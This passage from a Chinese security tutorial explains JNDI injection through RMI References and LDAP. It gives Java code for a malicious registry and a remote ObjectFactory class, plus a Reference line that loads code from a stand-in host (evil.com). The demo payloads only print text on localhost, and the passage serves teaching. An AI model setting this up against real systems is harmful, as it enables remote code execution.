\u662f\u4e00\u79cd\u8fdc\u7a0b\u63cf\u8ff0\uff0c\u5b83\u6307\u5411\u67d0\u4e2a\u7c7b\u540d\u548c\u5b83\u7684\u52a0\u8f7d\u65b9\u5f0f\uff08\u53ef\u5e26\u4e0a\u7c7b\u52a0\u8f7d\u5668\u5730\u5740 URL\uff09\uff0cJNDI \u5ba2\u6237\u7aef\u5728 lookup \u540e\u6839\u636e\u5b83\u52a0\u8f7d\u7c7b\u5b9e\u4f8b\u5316\u5bf9\u8c61\uff0c\u5982\u679c\u8fdc\u7a0b\u83b7\u53d6&nbsp;<code>RMI<\/code>&nbsp;\u670d\u52a1\u5668\u4e0a\u7684\u5bf9\u8c61\u4e3a&nbsp;<code>Reference<\/code>&nbsp;\u7c7b\u6216\u8005\u5176\u5b50\u7c7b\u65f6\uff0c\u5219\u53ef\u4ee5\u4ece\u5176\u4ed6\u670d\u52a1\u5668\u4e0a\u52a0\u8f7d&nbsp;<code>class \u5b57\u8282\u7801<\/code>\u6587\u4ef6\u6765\u5b9e\u4f8b\u5316\uff08\u7b2c\u4e00\u4e2a\u53c2\u6570\u4e3a\u5bf9\u8c61\uff0c\u7b2c\u4e8c\u4e2a\u53c2\u6570\u4e3a\u5de5\u5382\uff0c\u7b2c\u4e09\u4e2a\u53c2\u6570\u4e3a\u5de5\u5382\u7684\u4f4d\u7f6e\uff09<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Reference ref = new Reference(\"ExploitClass\", \"ExploitClass\", \"http:\/\/evil.com\/\");<\/code><\/pre>\n\n\n\n<p>\u4f46 Reference \u672c\u8eab\u4e0d\u662f\u8fdc\u7a0b\u5bf9\u8c61\uff0c\u6240\u4ee5\u5fc5\u987b\u901a\u8fc7 ReferenceWrapper\uff08\u4f4d\u4e8e com.sun.jndi.rmi.registry\uff09\uff0c\u8fd9\u4e2a\u7c7b\u7528\u4e8e\u628a Reference \u5c01\u88c5\u4e3a\u8fdc\u7a0b\u5bf9\u8c61\uff0c\u53ef\u4ee5\u88ab RMI Registry \u63a5\u53d7\u5e76\u7ed1\u5b9a\u3002<\/p>\n\n\n\n<p>JNDI\u6ce8\u5165\u5229\u7528\u8fc7\u7a0b\u5982\u4e0b\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u653b\u51fb\u8005\u5c06Payload\u7ed1\u5b9a\u5230\u653b\u51fb\u8005\u7684\u547d\u540d\/\u76ee\u5f55\u670d\u52a1\u4e2d<\/li>\n\n\n\n<li>\u653b\u51fb\u8005\u5c06\u7edd\u5bf9URL\u6ce8\u5165\u6613\u53d7\u653b\u51fb\u7684JNDI\u67e5\u627e\u65b9\u6cd5<\/li>\n\n\n\n<li>\u5e94\u7528\u7a0b\u5e8f\u6267\u884c\u67e5\u627e<\/li>\n\n\n\n<li>\u5e94\u7528\u7a0b\u5e8f\u8fde\u63a5\u5230\u653b\u51fb\u8005\u63a7\u5236\u7684JNDI\u670d\u52a1\u5e76\u8fd4\u56dePayload<\/li>\n\n\n\n<li>\u5e94\u7528\u7a0b\u5e8f\u89e3\u7801\u54cd\u5e94\u5e76\u89e6\u53d1\u6709\u6548\u8d1f\u8f7d<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">RMI + JNDI<\/h2>\n\n\n\n<p>\u73af\u5883\u8981\u6c42 <code>JDK 6u132<\/code>\u3001<code>7u122<\/code>\u3001<code>8u113<\/code> \u4e4b\u524d\uff0c\u5229\u7528\u6d41\u7a0b\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u5ba2\u6237\u7aef\u7a0b\u5e8f\u8c03\u7528\u4e86<code>InitialContext.lookup(url)<\/code>\uff0c\u4e14url\u53ef\u88ab\u8f93\u5165\u63a7\u5236\uff0c\u6307\u5411\u7cbe\u5fc3\u6784\u9020\u597d\u7684RMI\u670d\u52a1\u5730\u5740<\/li>\n\n\n\n<li>\u6076\u610f\u7684RMI\u670d\u52a1\u4f1a\u5411\u53d7\u653b\u51fb\u7684\u5ba2\u6237\u7aef\u8fd4\u56de\u4e00\u4e2aReference\uff0c\u7528\u4e8e\u83b7\u53d6\u6076\u610f\u7684<strong>Factory\u7c7b<\/strong><\/li>\n\n\n\n<li>\u5f53\u5ba2\u6237\u7aef\u6267\u884clookup\u7684\u65f6\u5019\uff0c\u5ba2\u6237\u7aef\u4f1a\u83b7\u53d6\u76f8\u5e94\u7684<code>object factory<\/code>\uff0c\u901a\u8fc7<code>factory.getObjectInstance()<\/code>\u83b7\u53d6<strong>\u5916\u90e8\u8fdc\u7a0b\u5bf9\u8c61\u5b9e\u4f8b<\/strong><\/li>\n\n\n\n<li>\u653b\u51fb\u8005\u5728Factory\u7c7b\u6587\u4ef6\u7684\u6784\u9020\u65b9\u6cd5\uff0c\u9759\u6001\u4ee3\u7801\u5757\uff0c<code>getObjectInstance()<\/code>\u65b9\u6cd5\u7b49\u5904\u5199\u5165\u6076\u610f\u4ee3\u7801\uff0c\u8fbe\u5230\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u7684\u6548\u679c<\/li>\n\n\n\n<li>\u65e2\u7136\u8981\u7528\u5230Factory\uff0c\u6240\u4ee5\u6076\u610f\u7c7b\u5f97\u5b9e\u73b0<code>ObjectFactory<\/code>\u63a5\u53e3<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">RMI Object<\/h3>\n\n\n\n<p>\u9996\u5148\u5b9a\u4e49\u8fdc\u7a0b\u8c03\u7528\u63a5\u53e3\uff0c\u8fd9\u662f\u5ba2\u6237\u7aef\u548c\u670d\u52a1\u7aef\u5171\u4eab\u7684\u8fdc\u7a0b\u8c03\u7528\u89c4\u8303\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package JNDI;\n\nimport java.rmi.Remote;\nimport java.rmi.RemoteException;\n\npublic interface Evil extends Remote {\n    public String hello() throws RemoteException;\n}<\/code><\/pre>\n\n\n\n<p>\u7136\u540e\u5b9e\u73b0\u8fdc\u7a0b\u5bf9\u8c61\uff0c\u7ee7\u627f <code>UnicastRemoteObject<\/code> \u4f7f\u5b83\u53ef\u4ee5\u901a\u8fc7 RMI \u8fdc\u7a0b\u8bbf\u95ee\uff0c\u65b9\u6cd5 <code>hello()<\/code> \u5c31\u662f\u8fdc\u7a0b\u6267\u884c\u7684 payload<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package JNDI;\n\nimport java.rmi.RemoteException;\nimport java.rmi.server.UnicastRemoteObject;\n\npublic class EvilObj extends UnicastRemoteObject implements Evil {\n    protected EvilObj() throws RemoteException {\n    }\n\n    @Override\n    public String hello() throws RemoteException {\n        return \"Hello Hacker!\";\n    }\n}<\/code><\/pre>\n\n\n\n<p>\u8fd9\u91cc\u662f RMI \u6ce8\u518c\u670d\u52a1\u7aef\uff0c\u542f\u52a8\u672c\u5730 1099 \u7aef\u53e3\u4f5c\u4e3a RMI \u6ce8\u518c\u4e2d\u5fc3\uff0c\u5c06 EvilObj \u6ce8\u518c\u8fdb\u53bb\uff0c\u540d\u79f0\u4e3a <code>\"hello\"<\/code>\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package JNDI;\n\nimport java.net.MalformedURLException;\nimport java.rmi.AlreadyBoundException;\nimport java.rmi.Naming;\nimport java.rmi.RemoteException;\nimport java.rmi.registry.LocateRegistry;\n\npublic class RMIServer {\n    public static void main(String&#91;] args) throws RemoteException, MalformedURLException, AlreadyBoundException {\n        \/\/\u521b\u5efa\u6ce8\u518c\u4e2d\u5fc3\n        LocateRegistry.createRegistry(1099);\n        \/\/\u521b\u5efa\u8fdc\u7a0b\u5bf9\u8c61\n        EvilObj rmiObject = new EvilObj();\n        \/\/ \u7ed1\u5b9aname\n        Naming.bind(\"hello\", rmiObject);\n    }\n}<\/code><\/pre>\n\n\n\n<p>\u548cRMI\u4e0d\u540c\uff0c\u8fd9\u91cc\u6211\u4eec\u5c31\u4e0d\u9700\u8981\u521b\u5efaRMI client\uff0c\u6bd5\u7adf\u4e5f\u4e0d\u662f\u5b83\u505a\u8c03\u7528\uff0c\u6211\u4eec\u9700\u8981\u7684\u662f\u5efa\u7acb JNDI \u7684Server\uff0c\u5229\u7528 JNDI \u4e0a\u4e0b\u6587\u7ed1\u5b9a\u8fdc\u7a0b\u5bf9\u8c61\uff0c\u4f7f\u7528 JNDI \u7684 <code>bind<\/code> \u65b9\u6cd5\uff0c\u5c06 EvilObj \u6620\u5c04\u5230\u4e00\u4e2a RMI \u5730\u5740\uff0c\u6b64\u65f6\uff0cJNDI \u6210\u4e3a\u76ee\u5f55\u670d\u52a1\u7684\u4e2d\u95f4\u4eba<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package JNDI;\n\nimport javax.naming.InitialContext;\nimport javax.naming.NamingException;\nimport java.rmi.RemoteException;\n\npublic class JNDIRMIServer {\n    public static void main(String&#91;] args) throws RemoteException, NamingException {\n        \/\/ \u4e0a\u4e0b\u6587\u521b\u5efa\n        InitialContext context = new InitialContext();\n        \/\/ \u4e0a\u4e0b\u6587\u547d\u540d\u7ed1\u5b9aRMI\n        context.bind(\"rmi:\/\/127.0.0.1:1099\/Hello\", new EvilObj());\n    }\n}<\/code><\/pre>\n\n\n\n<p>\u6700\u540e\u662fJNDI\u5ba2\u6237\u7aef\uff0c\u4e5f\u5c31\u662f\u53d7\u5bb3\u8005\uff0c\u5ba2\u6237\u7aef\u901a\u8fc7 JNDI \u67e5\u627e\u8fdc\u7a0b\u5bf9\u8c61\uff0c\u5ba2\u6237\u7aef\u6267\u884c <code>lookup<\/code> \u64cd\u4f5c\uff0cJNDI \u4f1a\u901a\u8fc7 RMI \u534f\u8bae\u8bbf\u95ee\u8fdc\u7a0b\u6ce8\u518c\u4e2d\u5fc3\uff0c\u6210\u529f\u83b7\u53d6\u5230 EvilObj \u7684\u4ee3\u7406\u5bf9\u8c61\uff0c\u5e76\u8c03\u7528\u5176 <code>hello()<\/code> \u65b9\u6cd5\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package JNDI;\n\nimport javax.naming.InitialContext;\nimport javax.naming.NamingException;\nimport java.rmi.RemoteException;\n\npublic class JNDIRMICilent {\n    public static void main(String&#91;] args) throws NamingException, RemoteException {\n        \/\/ \u4e0a\u4e0b\u6587\u521b\u5efa\n        InitialContext context = new InitialContext();\n        Evil obj = (Evil) context.lookup(\"rmi:\/\/127.0.0.1:1099\/Hello\");\n        System.out.println(obj.hello());\n    }\n}<\/code><\/pre>\n\n\n\n<p>\u63a5\u7740\u4f9d\u6b21\u8fd0\u884cRMIServer\uff0cJNDIRMIServer\u548cJNDIRMIClient\uff0c\u4ee3\u7801\u5c31\u6210\u529f\u8fd0\u884c\u4e86<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250429-215539-29-1.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250429-215539-29-1.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:729px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u4e0a\u9762\u7684\u6848\u4f8b\u91cc\u4e00\u5171\u6709\u4e94\u4e2a\u7ec4\u4ef6\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Evil \u63a5\u53e3<\/strong>\uff1a\u5b9a\u4e49\u4e86\u8fdc\u7a0b\u5bf9\u8c61\u7684\u65b9\u6cd5<\/li>\n\n\n\n<li><strong>EvilObj \u7c7b<\/strong>\uff1a\u5b9e\u73b0\u4e86 Evil \u63a5\u53e3\uff0c\u5e76\u7ee7\u627f\u4e86 <code>UnicastRemoteObject<\/code>\uff0c\u6210\u4e3a RMI \u53ef\u8fdc\u7a0b\u8c03\u7528\u7684\u5bf9\u8c61<\/li>\n\n\n\n<li><strong>RMIServer<\/strong>\uff1a\u542f\u52a8\u4e00\u4e2a RMI \u6ce8\u518c\u4e2d\u5fc3\u5e76\u5c06 EvilObj \u6ce8\u518c\u8fdb\u53bb\uff08RMI \u670d\u52a1\u7aef\uff09<\/li>\n\n\n\n<li><strong>JNDIRMIServer<\/strong>\uff1a\u4f7f\u7528 JNDI \u5c06 EvilObj \u7ed1\u5b9a\u5230\u4e00\u4e2a RMI \u5730\u5740\uff08JNDI \u76ee\u5f55\u670d\u52a1\uff09<\/li>\n\n\n\n<li><strong>JNDIRMICilent<\/strong>\uff1a\u5ba2\u6237\u7aef\uff0c\u901a\u8fc7 JNDI \u67e5\u627e\u5e76\u8fdc\u7a0b\u8c03\u7528 EvilObj \u7684\u65b9\u6cd5\uff08\u53d7\u5bb3\u7aef\uff09<\/li>\n<\/ul>\n\n\n\n<p>\u501f\u7528\u4e00\u5f20Chatgpt\u753b\u7684\u56fe\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>       \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n       \u2502      \u5ba2\u6237\u7aef        \u2502\n       \u2502  JNDIRMICilent     \u2502\n       \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n                \u2502 lookup(\"rmi:\/\/127.0.0.1:1099\/Hello\")\n                \u25bc\n       \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n       \u2502   JNDI \u4e0a\u4e0b\u6587       \u2502\n       \u2502 InitialContext     \u2502\n       \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n                \u2502\n                \u2502 \u901a\u8fc7 RMI \u534f\u8bae\u8fde\u63a5\n                \u25bc\n       \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n       \u2502     RMI \u6ce8\u518c\u4e2d\u5fc3    \u2502\n       \u2502  LocateRegistry    \u2502\n       \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n                \u2502\n                \u2502 \u8fd4\u56de\u6ce8\u518c\u7684\u5bf9\u8c61\uff08EvilObj\uff09\n                \u25bc\n       \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n       \u2502     EvilObj        \u2502\n       \u2502  \u5b9e\u73b0\u4e86 hello()     \u2502\n       \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n                \u2502\n                \u2502 \u8fd4\u56de hello() \u65b9\u6cd5\u7ed3\u679c\n                \u25bc\n       \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n       \u2502 \u5ba2\u6237\u7aef\u6536\u5230\u8fd4\u56de\u503c    \u2502\n       \u2502 \"Hello Hacker!\"     \u2502\n       \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">References\u5f15\u7528\u5bf9\u8c61<\/h3>\n\n\n\n<p>\u8fd9\u91cc\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u4f7f\u7528References\u5f15\u7528\u5bf9\u8c61\u5b9e\u73b0\u7c7b\u4f3c\u7684\u529f\u80fd\u3002<\/p>\n\n\n\n<p>\u9996\u5148\u521b\u5efa\u6076\u610f\u7c7b\uff0c\u5b9e\u73b0<code>ObjectFactory<\/code>\u63a5\u53e3\uff0c\u628a\u6076\u610f\u4ee3\u7801\u5199\u5728<code>getObjectInstance<\/code>\u91cc\u9762\uff08\u6ce8\u610f\u6076\u610f\u7c7b\u8981\u65e0\u5305\u540d\uff0c\u4e0d\u7136\u4f1a\u62a5\u9519\uff09\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import javax.naming.Context;\nimport javax.naming.Name;\nimport javax.naming.spi.ObjectFactory;\nimport java.util.Hashtable;\n\npublic class EvilObj implements ObjectFactory {\n    static {\n        System.out.println(\"Hello static!\");\n    }\n\n    public EvilObj() {\n        System.out.println(\"Hello constructor!\");\n    }\n\n    @Override\n    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable&lt;?, ?&gt; environment) throws Exception {\n        System.out.println(\"Hello getObjectInstance!\");\n        return null;\n    }\n}<\/code><\/pre>\n\n\n\n<p>\u8fd9\u91cc\u6211\u4eec\u53ef\u4ee5\u76f4\u63a5\u628a RMI \u6ce8\u518c\u4e2d\u5fc3 \u548c JNDI \u670d\u52a1\u7aef\u5199\u5728\u4e00\u8d77\uff0c<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package JNDI2;\n\nimport com.sun.jndi.rmi.registry.ReferenceWrapper;\n\nimport javax.naming.NamingException;\nimport javax.naming.Reference;\nimport java.rmi.AlreadyBoundException;\nimport java.rmi.RemoteException;\nimport java.rmi.registry.LocateRegistry;\nimport java.rmi.registry.Registry;\n\npublic class JNDIRMIServer {\n    public static void main(String&#91;] args) throws RemoteException, NamingException, AlreadyBoundException {\n        \/\/ \u542f\u52a8\u4e00\u4e2aRMI\u6ce8\u518c\u4e2d\u5fc3\uff0c\u76d1\u542c\u7aef\u53e31099\uff0c\u63a5\u53d7\u5ba2\u6237\u7aef\u8fde\u63a5\n        Registry registry = LocateRegistry.createRegistry(1099);\n\n        \/\/ \u6076\u610f\u7c7b\u6240\u5728\u7684\u5730\u5740\uff08\u5fc5\u987b\u80fd\u901a\u8fc7HTTP\u8bbf\u95ee EvilObj.class\uff09\n        String factoryUrl = \"http:\/\/localhost:1098\/\";\n\n        \/\/ \u521b\u5efa\u4e00\u4e2a\u6307\u5411\u8fdc\u7a0b\u7c7b\u7684\u5f15\u7528\uff0c\u4e00\u5171\u6709\u4e09\u4e2a\u53c2\u6570\uff1a\n        \/\/ className\uff1a\u544a\u8bc9JNDI\u201c\u4f60\u6700\u540e\u8981\u8fd4\u56de\u7684\u7c7b\u578b\u201d\n        \/\/ factoryClassName\uff1a\u5de5\u5382\u7c7b\u540d\uff08ObjectFactory\uff09\n        \/\/ factoryLocation\uff1a\u5728\u54ea\u91cc\u80fd\u4e0b\u8f7d\u5230\u8fd9\u4e2aclass\u6587\u4ef6\n        Reference reference = new Reference(\"EvilObj\", \"EvilObj\", factoryUrl);\n\n        \/\/ RMI\u6ce8\u518c\u4e2d\u5fc3\u53ea\u5141\u8bb8\u6ce8\u518c Remote \u7c7b\u578b\u7684\u5bf9\u8c61\uff0c\u800c Reference \u4e0d\u662f\uff0c\u6240\u4ee5\u9700\u8981\u5305\u88c5\n        ReferenceWrapper wrapper = new ReferenceWrapper(reference);\n\n        \/\/ \u628a\u8fd9\u4e2a\u201c\u6076\u610f Reference\u201d\u7ed1\u5b9a\u5728\u540d\u5b57 \"Hello\" \u4e0a\uff0c\u4f9b\u5ba2\u6237\u7aef lookup\n        registry.bind(\"Hello\", wrapper);\n    }\n}<\/code><\/pre>\n\n\n\n<p>\u6700\u540e\u662fJNDI\u5ba2\u6237\u7aef\uff0c\u4e5f\u5c31\u662f\u653b\u51fb\u76ee\u6807\uff0c\u8fd9\u91cc\u5c31\u548c\u4e4b\u524d\u4e00\u6837\u4e86\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package JNDI2;\n\nimport javax.naming.InitialContext;\nimport javax.naming.NamingException;\n\npublic class JNDIRMICilent {\n    public static void main(String&#91;] args) throws NamingException {\n        \/\/ \u521b\u5efaJNDI\u4e0a\u4e0b\u6587\uff08\u9ed8\u8ba4\u73af\u5883\uff09\n        InitialContext context = new InitialContext();\n\n        \/\/ \u8fdc\u7a0b\u67e5\u627e\u540d\u79f0\u4e3a Hello \u7684\u5bf9\u8c61\uff08RMI\u6ce8\u518c\u4e2d\u5fc3\u4e2d\u6ce8\u518c\u7684\u540d\u5b57\uff09\n        context.lookup(\"rmi:\/\/127.0.0.1:1099\/Hello\");\n    }\n}<\/code><\/pre>\n\n\n\n<p>\u9996\u5148\u6211\u4eec\u7f16\u8bd1EvilObj.class\uff0c\u7136\u540e\u7528python\u8d77\u4e00\u4e2a\u670d\u52a1\uff0c\u4fdd\u8bc1\u80fd\u901a\u8fc7<a href=\"http:\/\/localhost:1098\/\">http:\/\/localhost:1098\/<\/a>\u8bbf\u95ee\u5230\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>python -m http.server 1098<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250429-221818-29-2.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250429-221818-29-2.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u6700\u540e\u4f9d\u6b21\u8fd0\u884c JNDIRMIServer \u548c JNDIRMICilent\uff08<code>getObjectInstance<\/code>\u662f\u83b7\u53d6\u5b9e\u9645\u7ed1\u5b9a\u5bf9\u8c61\u65f6\u89e6\u53d1\u7684\uff09 \uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250429-222422-29-3.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250429-222422-29-3.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:610px;height:auto\"\/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>\u5ba2\u6237\u7aef: lookup(\"rmi:\/\/127.0.0.1:1099\/Hello\")\n    \u2193\nRMI\u670d\u52a1\u7aef\u8fd4\u56de ReferenceWrapper \u2192 \u5305\u542b Reference(\"EvilObj\", \"EvilObj\", \"http:\/\/localhost:1098\/\")\n    \u2193\nJNDI\u4e0b\u8f7d EvilObj.class \u2192 \u52a0\u8f7d\u7c7b \u2192 static \u5757\u6267\u884c\n    \u2193\nnew EvilObj() \u2192 \u6784\u9020\u51fd\u6570\u6267\u884c\n    \u2193\ngetObjectInstance(...) \u2192 \u4e3b\u6076\u610f\u903b\u8f91\u89e6\u53d1<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">JNDI &amp; LDAP<\/h2>\n\n\n\n<p>LDAP\uff08Lightweight Directory Access Protocol\uff0c\u8f7b\u91cf\u7ea7\u76ee\u5f55\u8bbf\u95ee\u534f\u8bae\uff09\u662f\u4e00\u79cd\u7528\u4e8e\u8bbf\u95ee\u548c\u7ba1\u7406\u5206\u5e03\u5f0f\u76ee\u5f55\u4fe1\u606f\u7684\u5e94\u7528\u534f\u8bae\u3002\u5b83\u662f\u57fa\u4e8e\u5ba2\u6237\u7aef-\u670d\u52a1\u5668\u67b6\u6784\u8bbe\u8ba1\u7684\uff0c\u5141\u8bb8\u7528\u6237\u901a\u8fc7\u7f51\u7edc\u8bbf\u95ee\u548c\u64cd\u4f5c\u76ee\u5f55\u670d\u52a1\uff0c\u5982\u67e5\u8be2\u7528\u6237\u4fe1\u606f\u3001\u8ba4\u8bc1\u3001\u6388\u6743\u7b49\u3002LDAP \u53ef\u4ee5\u5b9e\u73b0Java\u5bf9\u8c61\u7684\u5b58\u50a8\uff0c\u6240\u4ee5\u80fd\u8fd4\u56deJNDI Reference\u5bf9\u8c61\uff0c\u5229\u7528\u8fc7\u7a0b\u7c7b\u4f3c\u4e8eRMI Reference\uff0c\u53ea\u4e0d\u8fc7\u534f\u8bae\u6362\u6210\u4e86 <code>ldap:\/\/<\/code>\uff0c\u7531\u653b\u51fb\u8005\u63a7\u5236\u7684LDAP\u670d\u52a1\u7aef\u8fd4\u56de\u4e00\u4e2a\u6076\u610f\u7684JNDI Reference\u5bf9\u8c61\u3002<\/p>\n\n\n\n<p>\u5229\u7528\u8fc7\u7a0b\u5982\u4e0b\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u653b\u51fb\u8005\u4e3a\u6613\u53d7\u653b\u51fb\u7684JNDI\u67e5\u627e\u65b9\u6cd5\u63d0\u4f9b\u4e86\u4e00\u4e2a\u7edd\u5bf9\u7684LDAP URL<\/li>\n\n\n\n<li>\u670d\u52a1\u5668\u8fde\u63a5\u5230\u7531\u653b\u51fb\u8005\u63a7\u5236\u7684LDAP\u670d\u52a1\u5668\uff0c\u8be5\u670d\u52a1\u5668\u8fd4\u56de\u6076\u610fJNDI \u5f15\u7528<\/li>\n\n\n\n<li>\u670d\u52a1\u5668\u89e3\u7801JNDI\u5f15\u7528<\/li>\n\n\n\n<li>\u670d\u52a1\u5668\u4ece\u653b\u51fb\u8005\u63a7\u5236\u7684\u670d\u52a1\u5668\u83b7\u53d6Factory\u7c7b<\/li>\n\n\n\n<li>\u670d\u52a1\u5668\u5b9e\u4f8b\u5316Factory\u7c7b<\/li>\n\n\n\n<li>\u6709\u6548\u8f7d\u8377\u5f97\u5230\u6267\u884c<\/li>\n<\/ul>\n\n\n\n<p>\u9996\u5148\u6211\u4eec\u4e0b\u4e00\u4e2a3.1.1\u7684<a href=\"https:\/\/mvnrepository.com\/artifact\/com.unboundid\/unboundid-ldapsdk\/3.1.1\">unboundid-ldapsdk<\/a><\/p>\n\n\n\n<p>\u7136\u540e\u6211\u4eec\u6765\u914d\u7f6e\u4e00\u4e2a LDAP \u670d\u52a1\u5668\uff0c\u4f5c\u7528\u4e3b\u8981\u662f\u914d\u7f6e\u4e00\u4e2a\u5185\u5b58\u4e2d\u6a21\u62df\u7684 LDAP \u670d\u52a1\u5668\uff0c\u76d1\u542c\u6765\u81ea\u5ba2\u6237\u7aef\u7684\u8bf7\u6c42\uff0c\u5f53\u63a5\u6536\u5230\u641c\u7d22\u8bf7\u6c42\u65f6\uff0c<code>OperationInterceptor<\/code> \u4f1a\u62e6\u622a\u5e76\u8fd4\u56de\u4e00\u4e2a\u6307\u5411\u6076\u610f\u7c7b\u7684\u5f15\u7528\u3002\u8fd9\u4e9b\u5f15\u7528\u5305\u542b\u4e86\u6076\u610f\u7c7b\u7684\u4ee3\u7801\u5e93 URL \u548c\u7c7b\u540d\u7b49\u4fe1\u606f\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package JNDI3;\n\nimport com.unboundid.ldap.listener.InMemoryDirectoryServer;\nimport com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;\nimport com.unboundid.ldap.listener.InMemoryListenerConfig;\nimport com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;\nimport 